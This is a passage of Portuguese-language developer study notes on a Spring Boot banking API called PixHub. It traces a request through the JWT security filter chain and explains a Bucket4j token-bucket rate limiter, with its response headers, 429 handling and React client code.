┌──────────────────────────────────────────────────────────────────────┐
│ ETAPA 5: AccountController │
│ Arquivo: controller/AccountController.java │
│ │
│ @GetMapping │
│ public ResponseEntity<List<AccountResponse>> listAll() { │
│ // Pode acessar quem esta logado: │
│ // SecurityContextHolder...getAuthentication().getName() │
│ // → "riel@email.com" │
│ return ResponseEntity.ok(accountService.findAll()); │
│ } │
└──────────────────────┬───────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────┐
│ ETAPA 6: AccountService → AccountRepository → PostgreSQL │
│ Arquivos: service/AccountService.java │
│ repository/AccountRepository.java │
│ │
│ accountRepository.findAll() │
│ → SELECT * FROM accounts; │
│ → Retorna lista de entidades Account │
│ → AccountMapper converte para AccountResponse (DTO) │
└──────────────────────┬───────────────────────────────────────────────┘
│
▼
╔══════════════════════════════════════════════════════════════════════╗
║ RESPOSTA HTTP ║
║ ║
║ HTTP 200 OK ║
║ Content-Type: application/json ║
║ ║
║ [ ║
║ { ║
║ "id": "a1b2c3d4-...", ║
║ "holderName": "Riel Santos", ║
║ "holderDocument": "***.***.***-12", ║
║ "bankCode": "001", ║
║ "agency": "0001", ║
║ "accountNumber": "123456-7", ║
║ "balance": 1500.00, ║
║ "status": "ACTIVE" ║
║ } ║
║ ] ║
║ ║
║ → React recebe o JSON e renderiza a lista de contas na tela ✅ ║
╚══════════════════════════════════════════════════════════════════════╝
E se o token estivesse expirado?
O mesmo GET /api/v1/accounts, mas o access token expirou (passaram 15 min):
ETAPA 3: JwtAuthenticationFilter
3b. jwtService.validateToken(token)
→ Verifica exp: 1742636100 < agora (1742637000) → EXPIRADO!
→ Retorna null
→ Nao autentica, mas nao bloqueia
→ filterChain.doFilter() (passa adiante sem autenticacao)
ETAPA 4: AuthorizationFilter
Endpoint: /api/v1/accounts → requer authenticated()
Request autenticada? NAO (SecurityContext vazio)
→ BARRA a request → chama EntryPoint
ETAPA 5 (alternativa): JwtAuthenticationEntryPoint
Arquivo: config/JwtAuthenticationEntryPoint.java
→ Retorna HTTP 401 + JSON:
{
"status": 401,
"error": "Unauthorized",
"message": "Autenticacao necessaria. Envie um token JWT valido..."
}
O que o FRONTEND faz quando recebe 401:
if (response.status === 401) {
// Tenta renovar o token automaticamente:
const newTokens = await fetch('/api/v1/auth/refresh', {
method: 'POST',
body: JSON.stringify({ refreshToken: localStorage.get('refreshToken') })
});
// Se funcionou: salva novos tokens e repete a request original
// Se o refresh tambem expirou (7 dias): redireciona para /login
}
E se fosse um endpoint publico?
POST /api/v1/auth/login (sem header Authorization)
Body: { "email": "riel@email.com", "password": "minhasenha123" }
ETAPA 1: CORS Filter → ✅ (origem permitida)
ETAPA 2: CSRF Filter → ✅ (desabilitado)
ETAPA 3: JwtAuthenticationFilter
token = extractToken(request) → null (nao tem header Authorization)
→ filterChain.doFilter() → passa adiante SEM autenticar
→ Esta CORRETO: o usuario esta fazendo LOGIN, nao tem token ainda!
ETAPA 4: AuthorizationFilter
Endpoint: /api/v1/auth/login → bate com "/api/v1/auth/**" → permitAll()
→ Nao exige autenticacao!
→ ✅ LIBERADO
ETAPA 5: AuthController.login()
→ authService.login() → valida email/senha → gera tokens
→ Retorna 200 + { accessToken, refreshToken }
Agora o frontend guarda os tokens e usa nas proximas requests.
Imagine que o Riel esta entrando no predio do PixHub:
1. CORS = o porteiro verifica se voce veio de um lugar permitido ("Voce veio do estacionamento do condominio? OK, pode entrar.")
2. CSRF = o detector de artefatos esta desligado (nao se aplica ao nosso tipo de predio).
3. JwtFilter = a catraca le seu cracha. Se valido, prende uma etiqueta no seu pescoco dizendo "Riel Santos — Funcionario" (SecurityContext). Se invalido, nao prende etiqueta mas deixa passar (talvez voce va so para a recepcao, que e publica).
4. AuthorizationFilter = o elevador verifica sua etiqueta. "Quer ir ao andar 5 (/accounts)? Deixa ver... voce tem etiqueta? Sim! Pode subir." Se voce quer ir a recepcao (/auth/login), o elevador nem pede etiqueta — e andar publico.
5. EntryPoint = se o elevador te barrou, aparece uma mensagem: "Acesso negado. Por favor, passe na recepcao (andar terreo) para receber seu cracha."
6. Controller = voce chegou ao andar certo. O atendente (AccountService) consulta o sistema (PostgreSQL) e te entrega as informacoes que pediu.
Passo 3.4 — Arquitetura do Rate Limiting
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O problema que este passo resolve
Ate o passo 3.3, a API ja sabia quem esta acessando (JWT + SecurityContext) e ja barrava quem nao tem cracha (401 Unauthorized). Porem, quem TEM cracha valido pode fazer quantas requests quiser, sem limite. Isso abre tres riscos graves:
RISCO 1 — BRUTE FORCE no login
───────────────────────────────
Um atacante pode tentar milhares de senhas por minuto no POST /auth/login.
Mesmo com o bloqueio de conta apos 5 tentativas (passo 3.2), ele pode
tentar 5 senhas em 5 contas diferentes SIMULTANEAMENTE.
Sem rate limiting: 5 senhas x 1000 contas = 5000 tentativas/min
Com rate limiting: 5 requests/min por IP → maximo 5 tentativas/min
RISCO 2 — DENIAL OF SERVICE (DoS)
──────────────────────────────────
Um atacante (ou bug no frontend) pode bombardear a API com requests:
GET /api/v1/accounts → 10.000 requests por segundo
Cada request consome CPU, memoria e conexao com o banco.
O servidor sobrecarrega e para de responder para TODOS os usuarios.
Com rate limiting: maximo 60 req/min por usuario → API estavel.
RISCO 3 — ABUSO DE OPERACOES CARAS
────────────────────────────────────
Operacoes financeiras (POST /transactions) sao CARAS:
- Validam saldo, chave PIX, conta destino
- Gravam no banco, publicam no Kafka, registram auditoria
Um usuario mal-intencionado poderia sobrecarregar o sistema
criando milhares de transacoes por minuto.
Com rate limiting: maximo 30 transacoes/min por usuario.
ANTES (passo 3.3): DEPOIS (passo 3.4):
────────────────── ──────────────────
Autenticacao: OK (JWT) Autenticacao: OK (JWT)
Autorizacao: OK (roles) Autorizacao: OK (roles)
Limite de requests: NENHUM Limite por categoria:
Auth: 5 req/min por IP
Transacao: 30 req/min por usuario
Consulta: 60 req/min por usuario
Headers de resposta: Headers de resposta:
(sem info de rate limit) X-RateLimit-Limit: 60
X-RateLimit-Remaining: 58
X-RateLimit-Retry-After-Seconds: 12
10.000 requests em 1 minuto: 10.000 requests em 1 minuto:
→ Todas processadas ❌ (DoS) → 60 processadas, 9.940 rejeitadas com 429
→ Servidor estavel ✅
Os 3 arquivos criados/alterados e seus papeis
┌─────────────────────────────────────────────────────────────────────────┐ │ ARQUIVO │ PAPEL │ ANALOGIA │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ RateLimitProperties.java │ AS REGRAS │ O regulamento │ │ (NOVO) │ Define os limites│ que diz │ │ config/ │ por categoria, │ "maximo 5 │ │ │ lidos do .yml │ entradas/min" │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ RateLimitingFilter.java │ O CONTADOR │ O catraca com │ │ (NOVO) │ Intercepta cada │ contador que │ │ config/ │ request e decide │ trava quando │ │ │ se passou do │ o limite e │ │ │ limite │ atingido │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ SecurityConfig.java │ O ORQUESTRADOR │ O manual de │ │ (ATUALIZADO) │ Registra o novo │ seguranca │ │ config/ │ filtro na cadeia │ atualizado │ │ │ APOS o JwtFilter │ │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ application.yml │ A CONFIGURACAO │ Os numeros │ │ (ATUALIZADO) │ Valores dos │ escritos na │ │ resources/ │ limites e on/off │ placa do │ │ │ │ regulamento │ └─────────────────────────────────────────────────────────────────────────┘
A cadeia de filtros ATUALIZADA
O RateLimitingFilter foi inserido depois do JwtAuthenticationFilter na cadeia de seguranca. A ordem e crucial: ele precisa do SecurityContext (preenchido pelo JwtFilter) para saber quem esta fazendo a request e aplicar o limite correto.
Request HTTP
│
▼
┌─── 1. CORS Filter ────────────────────────────────────────┐
│ "Origem permitida?" (localhost:5173 → OK) │
└────────────────────────────────────────────────────────────┘
│
▼
┌─── 2. CSRF Filter (desabilitado) ─────────────────────────┐
│ API stateless com JWT, nao com cookies │
└────────────────────────────────────────────────────────────┘
│
▼
┌─── 3. JwtAuthenticationFilter ────────────────────────────┐
│ Extrai token → valida → seta SecurityContext │
│ Agora sabemos QUEM esta fazendo a request │
└────────────────────────────────────────────────────────────┘
│
▼
┌─── 4. RateLimitingFilter (NOVO — passo 3.4) ─────────────┐
│ │
│ "Esse usuario/IP ja excedeu o limite?" │
│ │
│ 1. Categoriza o endpoint (auth? transacao? consulta?) │
│ 2. Identifica quem faz a request (IP ou email do JWT) │
│ 3. Busca o "balde de fichas" (bucket) dessa pessoa │
│ 4. Tenta consumir 1 ficha │
│ → Tem ficha? ✅ Continua + headers X-RateLimit-* │
│ → Sem ficha? ❌ 429 Too Many Requests │
│ │
│ Limites: │
│ /api/v1/auth/** → 5/min por IP │
│ POST /transactions → 30/min por usuario │
│ GET /api/** → 60/min por usuario │
└────────────────────────────────────────────────────────────┘
│
▼
┌─── 5. AuthorizationFilter ────────────────────────────────┐
│ "Endpoint publico ou protegido? Request autenticada?" │
└────────────────────────────────────────────────────────────┘
│
├── BARRADO → JwtAuthenticationEntryPoint (401 JSON)
│
└── LIBERADO → Controller
Mapa de conexoes com os passos anteriores
┌─── application.yml ──────────────────────────────────────────┐
│ rate-limit: │
│ enabled: true │
│ auth-requests-per-minute: 5 │
│ transaction-requests-per-minute: 30 │
│ query-requests-per-minute: 60 │
└─────────┬────────────────────────────────────────────────────┘
│ @ConfigurationProperties le esses valores
▼
┌─── RateLimitProperties.java (NOVO — 3.4) ───────────────────┐
│ authRequestsPerMinute = 5 │
│ transactionRequestsPerMinute = 30 │
│ queryRequestsPerMinute = 60 │
│ enabled = true │
└─────────┬────────────────────────────────────────────────────┘
│ injetado via construtor
▼
┌─── RateLimitingFilter.java (NOVO — 3.4) ────────────────────┐
│ doFilterInternal(request, response, filterChain) │
│ → categorizeEndpoint() (auth? transacao? consulta?) │
│ → resolveKey() (IP ou email do SecurityContext) │
│ → createBucket() (Bucket4j com Token Bucket) │
│ → bucket.tryConsumeAndReturnRemaining(1) │
│ → Adiciona headers X-RateLimit-* │
│ → 429 ou continua │
└─────────┬────────────────────────────────────────────────────┘
│ registrado na cadeia por
▼
┌─── SecurityConfig.java (ATUALIZADO — 3.4) ──────────────────┐
│ .addFilterBefore(jwtFilter, UsernamePasswordAuth...) │
│ .addFilterAfter(rateLimitFilter, JwtAuthenticationFilter) │
│ │
│ Cadeia: JwtFilter → RateLimitFilter → Authorization │
└──────────────────────────────────────────────────────────────┘
Conexoes com passos anteriores:
───────────────────────────────
Passo 3.3 (JwtFilter) → preenche SecurityContext
│
▼
Passo 3.4 (RateLimitFilter) → LE o SecurityContext para saber
quem e o usuario (email) e
aplicar o limite correto
Passo 3.3 (EntryPoint) → retorna 401 JSON
Passo 3.4 (RateLimitFilter) → retorna 429 JSON (MESMO formato ErrorResponse)
Consistencia para o frontend!
Continuando a analogia do predio do PixHub:
Passo 3.1 criou o cadastro de funcionarios (User). Passo 3.2 montou a recepcao com crachas (JWT). Passo 3.3 instalou catracas em todas as portas (JwtFilter).
Passo 3.4 adicionou um contador na catraca. Agora, alem de verificar se voce tem cracha, a catraca conta quantas vezes voce passou. Se voce passar mais de 5 vezes por minuto pela recepcao (login), a catraca trava e diz: "Calma! Voce ja entrou 5 vezes no ultimo minuto. Espere 12 segundos." O mesmo vale para os elevadores (endpoints protegidos), mas com limites mais generosos (60 por minuto para consultas, 30 para transacoes).
A diferenca e que na recepcao o contador e por pessoa (por IP — porque voce ainda nao se identificou), e nos andares o contador e por cracha (por email do JWT — porque a catraca ja sabe quem voce e).
Token Bucket — O Algoritmo por Tras do Rate Limiting
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O que e Token Bucket?
Token Bucket e o algoritmo mais usado no mundo para rate limiting. AWS, Google Cloud, Stripe, GitHub — todos usam variantes desse algoritmo em suas APIs. Ele funciona com uma metafora simples: um balde cheio de fichas.
CONFIGURACAO: balde com capacidade 5, reabastece 5 fichas por minuto ESTADO INICIAL (balde cheio): ┌───────────────────┐ │ 🎟 🎟 🎟 🎟 🎟 │ 5 fichas disponiveis └───────────────────┘ REQUEST 1 (consome 1 ficha): ┌───────────────────┐ │ 🎟 🎟 🎟 🎟 │ 4 fichas restantes → 200 OK ✅ └───────────────────┘ REQUEST 2, 3, 4, 5 (consomem 4 fichas): ┌───────────────────┐ │ │ 0 fichas restantes → 200 OK ✅ (a ultima) └───────────────────┘ REQUEST 6 (balde vazio!): ┌───────────────────┐ │ VAZIO │ 0 fichas → 429 Too Many Requests ❌ └───────────────────┘ "Tente novamente em 12 segundos" (12 segundos depois... 1 ficha reabastecida): ┌───────────────────┐ │ 🎟 │ 1 ficha → proxima request passa ✅ └───────────────────┘ (1 minuto depois... balde cheio de novo): ┌───────────────────┐ │ 🎟 🎟 🎟 🎟 🎟 │ 5 fichas (reabastecimento completo) └───────────────────┘
Greedy Refill vs Intervally Refill
Existem duas formas de reabastecer o balde. Escolhemos Greedy porque e mais justo para o usuario:
GREEDY REFILL (o que usamos): ───────────────────────────── Distribui fichas GRADUALMENTE ao longo do intervalo. 5 fichas / 60 segundos = 1 ficha a cada 12 segundos. Tempo: 0s 12s 24s 36s 48s 60s Fichas: +1 +1 +1 +1 +1 (total: 5) Vantagem: o usuario que foi bloqueado precisa esperar apenas 12 segundos para fazer a proxima request (nao 1 minuto inteiro). ──────────────────────────────────────────────────────────────── INTERVALLY REFILL (alternativa — NAO usamos): ────────────────────────────────────────────── Espera o intervalo COMPLETO e adiciona TODAS as fichas de uma vez. 5 fichas a cada 60 segundos (tudo de uma vez). Tempo: 0s 12s 24s 36s 48s 60s Fichas: 0 0 0 0 0 +5 (tudo junto!) Desvantagem: o usuario bloqueado precisa esperar ATE 60 segundos. E permite um burst de 5 requests instantaneas apos o refill. ──────────────────────────────────────────────────────────────── Por que Greedy e melhor para APIs? Porque suaviza o trafego ao longo do tempo. Com Intervally, todos os usuarios que foram bloqueados voltam ao mesmo tempo (quando o minuto vira), causando um "pico" de requests.
Por que Token Bucket e nao outros algoritmos?
ALGORITMO COMO FUNCIONA PROBLEMA USADO POR
───────── ───────────── ──────── ────────
Fixed Window Conta requests em janelas "Burst na borda": Simples
fixas (ex: 0:00-0:59, 59 req no segundo 59 + mas pouco
1:00-1:59). Reseta no minuto. 60 req no segundo 61 = usado em
119 req em 2 segundos! producao
Sliding Window Janela "deslizante" que Mais complexo. Precisa Cloudflare,
Log registra timestamp de cada armazenar TODOS os Nginx
request e conta ultimos 60s. timestamps. Usa mais
memoria.
Sliding Window Combina Fixed Window com Bom compromisso, mas Kong,
Counter peso proporcional. o Token Bucket e mais Envoy
Ex: 70% do minuto anterior flexivel com bursts.
+ 100% do minuto atual.
Token Bucket Balde com fichas. Nenhum problema grave! AWS, Google,
(NOSSO) Fichas consumidas por Permite bursts curtos Stripe,
request. Reabastecidas (balde cheio) mas limita GitHub,
gradualmente. throughput medio. Bucket4j
Token Bucket e o mais popular porque:
1. Simples de entender e implementar
2. Permite "bursts" controlados (o balde tem capacidade)
3. Reabastecimento gradual suaviza o trafego
4. Eficiente em memoria (1 bucket = ~100 bytes)
5. Thread-safe (Bucket4j usa atomics, sem locks)
Os 3 limites do PixHub e por que sao diferentes
CATEGORIA LIMITE POR QUEM POR QUE
───────── ────── ──────── ───────
AUTH 5 req/min Por IP Brute force e o maior risco.
/auth/** 5 tentativas e suficiente para
login normal. Limitamos por IP
(nao por usuario) porque o
atacante ainda nao se identificou.
TRANSACAO 30 req/min Por usuario Operacoes financeiras sao CARAS:
POST/PUT (email JWT) validam saldo, gravam no banco,
/transactions publicam no Kafka. 30/min e
~1 transacao a cada 2 segundos
(mais que suficiente).
CONSULTA 60 req/min Por usuario Leitura e BARATA: so consulta o
GET /api/** (email JWT) banco. 60/min = 1 req/segundo.
Suficiente para um frontend
React com polling ou navegacao
rapida entre telas.
SEM LIMITE --- --- Swagger (/swagger-ui/**)
(NONE) Actuator (/actuator/**)
API docs (/api-docs/**)
Esses endpoints sao de
desenvolvimento/monitoramento.
Token Bucket e como o sistema de fichas de um buffet. Voce recebe 5 fichas ao entrar (capacidade do balde). Cada vez que pega um prato, entrega 1 ficha. Quando as fichas acabam, precisa esperar o garcom trazer mais (reabastecimento). O garcom traz 1 ficha a cada 12 segundos (greedy refill) — voce nao precisa esperar ele trazer o monte todo de uma vez.
Diferentes estacoes do buffet tem regras diferentes: a estacao de sushi (transacoes — caro, limitado) da menos fichas que a estacao de salada (consultas — barato, abundante). E a recapcao do buffet (login — risco de gente tentando entrar sem convite) tem o controle mais rigido.
RateLimitingFilter — O Filtro Passo a Passo
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Estrutura do filtro
Assim como o JwtAuthenticationFilter (passo 3.3), o RateLimitingFilter
estende OncePerRequestFilter — garantindo executar exatamente
uma vez por request. Ele tem 4 responsabilidades:
1. CATEGORIZAR — "Que tipo de endpoint e esse?"
/api/v1/auth/login → AUTH (5/min por IP)
POST /api/v1/transactions → TRANSACTION (30/min por usuario)
GET /api/v1/accounts → QUERY (60/min por usuario)
/swagger-ui/** → NONE (sem rate limiting)
2. IDENTIFICAR — "Quem esta fazendo essa request?"
AUTH → por IP (ex: "auth:192.168.1.100")
TRANSACTION → por email (ex: "transaction:riel@email.com")
QUERY → por email (ex: "query:riel@email.com")
3. VERIFICAR — "Esse usuario/IP ainda tem fichas?"
bucket.tryConsumeAndReturnRemaining(1)
→ true: consumiu 1 ficha, pode continuar
→ false: balde vazio, request rejeitada
4. RESPONDER — adicionar headers OU retornar 429
Se tem ficha: X-RateLimit-Remaining: 58 → continua
Se nao tem: 429 + "Tente novamente em 12 segundos"
Fluxo detalhado do doFilterInternal
doFilterInternal(request, response, filterChain):
─────────────────────────────────────────────────
PASSO 1 — Rate limiting esta habilitado?
─────────────────────────────────────────
if (!rateLimitProperties.isEnabled()) {
filterChain.doFilter(request, response); // passa direto
return;
}
Por que ter um "interruptor"?
Em testes automatizados, rate limiting atrapalha (os testes fazem
dezenas de requests por segundo). Em dev, pode ser inconveniente.
O flag "enabled" permite desligar sem mudar codigo.
application.yml: rate-limit.enabled: false
PASSO 2 — Categorizar o endpoint
─────────────────────────────────
String path = request.getRequestURI(); // "/api/v1/auth/login"
String method = request.getMethod(); // "POST"
EndpointCategory category = categorizeEndpoint(path, method);
Logica da categorizacao:
/swagger-ui/**, /actuator/**, /api-docs/** → NONE (sem limite)
/api/v1/auth/** → AUTH
POST ou PUT em /api/v1/transactions/** → TRANSACTION
Qualquer outro /api/** → QUERY
Se NONE → passa direto (endpoints de dev/monitoramento nao tem limite)
PASSO 3 — Identificar quem faz a request
─────────────────────────────────────────
String key = resolveKey(category, request);
Para AUTH → usa o IP do cliente:
key = "auth:192.168.1.100"
Por que IP? Porque o usuario ainda nao se identificou (esta tentando
fazer login!). O unico identificador disponivel e o IP.
getClientIp() verifica o header X-Forwarded-For (proxy reverso)
antes de usar request.getRemoteAddr().
Para TRANSACTION/QUERY → usa o email do JWT:
key = "transaction:riel@email.com" ou "query:riel@email.com"
O email vem do SecurityContext (preenchido pelo JwtFilter no passo 3.3).
Por que separar transaction e query? Porque um usuario pode estar
consultando muito (60/min) mas fazendo poucas transacoes (5/min).
Os contadores sao independentes.
Fallback: se nao tem autenticacao mas tambem nao e auth → usa IP.
(Edge case: request sem token para endpoint protegido — sera barrada
pelo AuthorizationFilter de qualquer forma, mas o rate limit ja conta.)
PASSO 4 — Buscar ou criar o bucket
───────────────────────────────────
Bucket bucket = buckets.computeIfAbsent(key, k -> createBucket(category));
computeIfAbsent e um metodo do ConcurrentHashMap que:
- Se a chave JA EXISTE: retorna o bucket existente (rapido, O(1))
- Se a chave NAO EXISTE: cria um novo bucket e salva no mapa
Isso significa que o primeiro request de cada usuario/IP cria o bucket,
e os seguintes reutilizam. O bucket e persistido enquanto a JVM roda.
createBucket() usa Bucket4j:
Bandwidth.builder()
.capacity(60) // tamanho do balde
.refillGreedy(60, Duration.ofMinutes(1)) // reabastece 60/min
.build();
ConcurrentHashMap garante thread-safety: se 2 threads tentam criar
o bucket para o mesmo usuario ao mesmo tempo, apenas 1 cria.
PASSO 5 — Tentar consumir 1 token
──────────────────────────────────
ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);
tryConsumeAndReturnRemaining retorna um "probe" (sonda) com:
- isConsumed(): true se consumiu, false se balde vazio
- getRemainingTokens(): quantas fichas restam
- getNanosToWaitForRefill(): quantos nanossegundos ate a proxima ficha
E atomico e thread-safe — Bucket4j usa CAS (Compare-And-Swap),
nao locks. Mesmo com 1000 requests simultaneas, nao ha condicao
de corrida.
PASSO 6a — Token consumido (tem ficha) → continua
──────────────────────────────────────────────────
response.addHeader("X-RateLimit-Limit", "60");
response.addHeader("X-RateLimit-Remaining", "58");
filterChain.doFilter(request, response); // proximo filtro
Os headers informam ao frontend quanto "credito" resta.
O frontend pode mostrar um aviso: "Voce tem 3 consultas restantes."
PASSO 6b — Token NAO consumido (balde vazio) → 429
───────────────────────────────────────────────────
long waitSeconds = Duration.ofNanos(probe.getNanosToWaitForRefill())
.toSeconds();
response.addHeader("X-RateLimit-Retry-After-Seconds", "12");
writeErrorResponse(request, response, waitSeconds);
// → 429 Too Many Requests + JSON padronizado (ErrorResponse)
// → NÃO chama filterChain.doFilter() → request PARA aqui
O armazenamento: ConcurrentHashMap
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>(); Conteudo do mapa em tempo de execucao (exemplo): ┌──────────────────────────────────┬─────────────────────────┐ │ CHAVE │ BUCKET (estado) │ ├──────────────────────────────────┼─────────────────────────┤ │ "auth:192.168.1.100" │ 3/5 fichas restantes │ │ "auth:10.0.0.42" │ 5/5 fichas (cheio) │ │ "query:riel@email.com" │ 45/60 fichas restantes │ │ "query:ana@email.com" │ 60/60 fichas (cheio) │ │ "transaction:riel@email.com" │ 28/30 fichas restantes │ └──────────────────────────────────┴─────────────────────────┘ LIMITACAO: ConcurrentHashMap e IN-MEMORY (na JVM). ────────────────────────────────────────────────── Se a aplicacao reiniciar, todos os buckets sao perdidos (resetados). Se houver multiplas instancias da API (load balancing), cada uma tem seu proprio mapa — um usuario poderia ter 60 req/min POR INSTANCIA. SOLUCAO PARA PRODUCAO: usar Redis como armazenamento compartilhado. Bucket4j tem integracao com Redis (bucket4j-redis). Para o PixHub (instancia unica), ConcurrentHashMap e suficiente. NOTA: buckets NAO sao removidos do mapa automaticamente. Em producao com muitos usuarios, adicionar limpeza periodica (ex: remover buckets inativos ha mais de 1 hora) para evitar vazamento de memoria. Para o PixHub, nao e necessario.
Extracao do IP real (X-Forwarded-For)
Sem proxy reverso (desenvolvimento local):
──────────────────────────────────────────
Cliente (navegador) → API (Spring Boot)
request.getRemoteAddr() = "127.0.0.1" (IP do cliente) ✅
Com proxy reverso (producao):
─────────────────────────────
Cliente → Nginx/CloudFlare → API (Spring Boot)
request.getRemoteAddr() = "10.0.0.1" (IP do NGINX, nao do cliente!) ❌
O proxy adiciona o header X-Forwarded-For com o IP real:
X-Forwarded-For: 189.28.100.42, 10.0.0.1
└─ IP real └─ IP do proxy
Nossa logica em getClientIp():
1. Verifica se existe X-Forwarded-For
2. Se sim: pega o PRIMEIRO IP (o do cliente real)
3. Se nao: usa request.getRemoteAddr() (sem proxy)
NOTA DE SEGURANCA:
Um atacante pode FALSIFICAR o header X-Forwarded-For
para bypassar o rate limiting (fingir ser outro IP).
Em producao, configurar o Spring para aceitar X-Forwarded-For
apenas de proxies confiaveis (TrustedProxies).
O RateLimitingFilter e como um porteiro com prancheta na entrada de cada area do predio. Ele anota quantas vezes cada pessoa passou. Na recepcao (auth), ele reconhece as pessoas pela aparencia (IP — nao sabe o nome ainda). Nos andares (endpoints protegidos), ele reconhece pelo cracha (email do JWT — ja sabe quem e).
O ConcurrentHashMap e a prancheta do porteiro.
Cada linha da prancheta tem o nome/IP da pessoa e quantas fichas ela ainda tem.
Se o predio reiniciar (JVM reinicia), a prancheta e apagada e todos comecam
com o balde cheio de novo. Em um predio com multiplas portarias (multiplas
instancias), cada porteiro teria sua propria prancheta — para sincronizar,
usariamos um sistema central (Redis).
Headers de Rate Limiting e a Resposta 429
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Os 3 headers que adicionamos
Boas praticas de APIs publicas (AWS, GitHub, Stripe) ditam que toda resposta deve informar o estado do rate limiting. Isso permite que o frontend/cliente se adapte antes de ser bloqueado.
HEADER SIGNIFICADO EXEMPLO
────── ─────────── ───────
X-RateLimit-Limit Limite total de requests 60
por minuto para este
tipo de endpoint.
"Seu balde tem 60 fichas."
X-RateLimit-Remaining Quantas requests restam 45
no periodo atual.
"Voce ainda tem 45 fichas."
O frontend pode usar para
mostrar um aviso ao usuario.
X-RateLimit-Retry-After-Seconds Quantos segundos esperar 12
ate a proxima ficha ser
adicionada ao balde.
SO aparece quando 429.
"Espere 12 segundos."
────────────────────────────────────────────────────────────────────
Exemplo de request NORMAL (dentro do limite):
──────────────────────────────────────────────
GET /api/v1/accounts HTTP/1.1
Authorization: Bearer eyJ...
HTTP/1.1 200 OK
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 45
Content-Type: application/json
[{"id":"...", "holderName":"Riel Santos", ...}]
Exemplo de request BLOQUEADA (limite excedido):
────────────────────────────────────────────────
GET /api/v1/accounts HTTP/1.1
Authorization: Bearer eyJ...
HTTP/1.1 429 Too Many Requests
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 0
X-RateLimit-Retry-After-Seconds: 12
Content-Type: application/json
{
"timestamp": "2026-03-21T14:30:00",
"status": 429,
"error": "Too Many Requests",
"message": "Limite de requisicoes excedido. Tente novamente em 12 segundos.",
"path": "/api/v1/accounts"
}
A resposta 429 — mesmo formato, lugar diferente
Assim como o JwtAuthenticationEntryPoint (passo 3.3) retorna
401 em JSON, o RateLimitingFilter retorna 429 em JSON.
Ambos usam o mesmo DTO (ErrorResponse) e
escrevem direto no HttpServletResponse — pelo mesmo motivo:
estao fora do Controller, na cadeia de filtros.
ERRO CODIGO QUEM RETORNA ONDE ACONTECE
──── ────── ──────────── ─────────────
401 Unauth JwtAuthenticationEntryPoint Cadeia de filtros
(passo 3.3) (antes do Controller)
429 TooMany RateLimitingFilter Cadeia de filtros
(passo 3.4) (antes do Controller)
400 BadReq GlobalExceptionHandler Dentro do Controller
(validacao @Valid) (MethodArgumentNotValid)
404 NotFound GlobalExceptionHandler Dentro do Controller
(ResourceNotFoundException) (Service lanca excecao)
409 Conflict GlobalExceptionHandler Dentro do Controller
(ResourceAlreadyExists) (Service lanca excecao)
422 Unproc GlobalExceptionHandler Dentro do Controller
(BusinessRuleViolation) (Service lanca excecao)
423 Locked GlobalExceptionHandler Dentro do Controller
(AccountLockedException) (AuthService lanca excecao)
500 Internal GlobalExceptionHandler Dentro do Controller
(fallback — Exception) (bug nao previsto)
TODOS retornam o MESMO formato: ErrorResponse JSON
{ "timestamp", "status", "error", "message", "path" }
O frontend trata QUALQUER erro da mesma forma!
Como o frontend usa esses headers
// Exemplo de como o frontend React trataria rate limiting:
async function fetchAccounts() {
const response = await fetch('/api/v1/accounts', {
headers: { 'Authorization': `Bearer ${accessToken}` }
});
// Ler headers de rate limiting
const limit = response.headers.get('X-RateLimit-Limit');
const remaining = response.headers.get('X-RateLimit-Remaining');
// Mostrar aviso quando esta chegando perto do limite
if (remaining < 5) {
showWarning(`Cuidado: apenas ${remaining} consultas restantes por minuto.`);
}
// Se foi bloqueado (429)
if (response.status === 429) {
const retryAfter = response.headers.get('X-RateLimit-Retry-After-Seconds');
const data = await response.json();
showError(data.message); // "Limite excedido. Tente em 12 segundos."
// Retry automatico apos o tempo indicado
setTimeout(() => fetchAccounts(), retryAfter * 1000);
return;
}
// Request normal (200)
const accounts = await response.json();
renderAccounts(accounts);
}
// NOTA: o header X-RateLimit-Remaining so e visivel no frontend
// porque configuramos no CORS (passo 3.3):
// configuration.setExposedHeaders(Arrays.asList(
// "Authorization", "X-RateLimit-Remaining"
// ));
// Sem isso, o navegador esconde o header do JavaScript!
Conexao com o CORS (passo 3.3)
No passo 3.3, quando configuramos o CORS, adicionamos:
configuration.setExposedHeaders(Arrays.asList(
"Authorization",
"X-RateLimit-Remaining" ← planejado para o passo 3.4!
));
Por que isso e necessario?
Por padrao, o navegador so deixa o JavaScript ler estes headers:
- Cache-Control
- Content-Language
- Content-Type
- Expires
- Last-Modified
- Pragma
TODOS os outros headers sao "escondidos" do JavaScript.
Para o React conseguir ler X-RateLimit-Remaining, precisamos
EXPOR esse header explicitamente na configuracao CORS.
Sem o setExposedHeaders:
response.headers.get('X-RateLimit-Remaining') → null (escondido!)
Com o setExposedHeaders:
response.headers.get('X-RateLimit-Remaining') → "45" ✅
Isso mostra como os passos se conectam: o CORS do 3.3 ja preparou
o terreno para o Rate Limiting do 3.4.
Os headers de rate limiting sao como o visor digital da catraca. Ao passar, o visor mostra: "Entradas restantes: 45 de 60" (X-RateLimit-Remaining). Se o limite for atingido, o visor mostra: "Bloqueado. Proxima entrada disponivel em 12 segundos" (X-RateLimit-Retry-After-Seconds).
A conexao com o CORS e como a regra do condominio sobre interfones: por padrao, os interfones (headers) dos apartamentos sao privados — visitantes (navegadores) nao podem ver. Mas o condominio (CORS config) decidiu que o interfone "fichas restantes" (X-RateLimit-Remaining) deve ser visivel para visitantes autorizados. Sem essa regra, o visitante passaria pela catraca mas nao conseguiria ver o visor.
Passo 3.4 — Universal vs Especifico do Java
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Conceitos UNIVERSAIS do rate limiting
CONCEITO UNIVERSAL JAVA (Spring) NODE.JS (Express) PYTHON (FastAPI)
────────────────── ───────────── ───────────────── ────────────────
Algoritmo Token Bucket Bucket4j rate-limiter-flexible limits (lib)
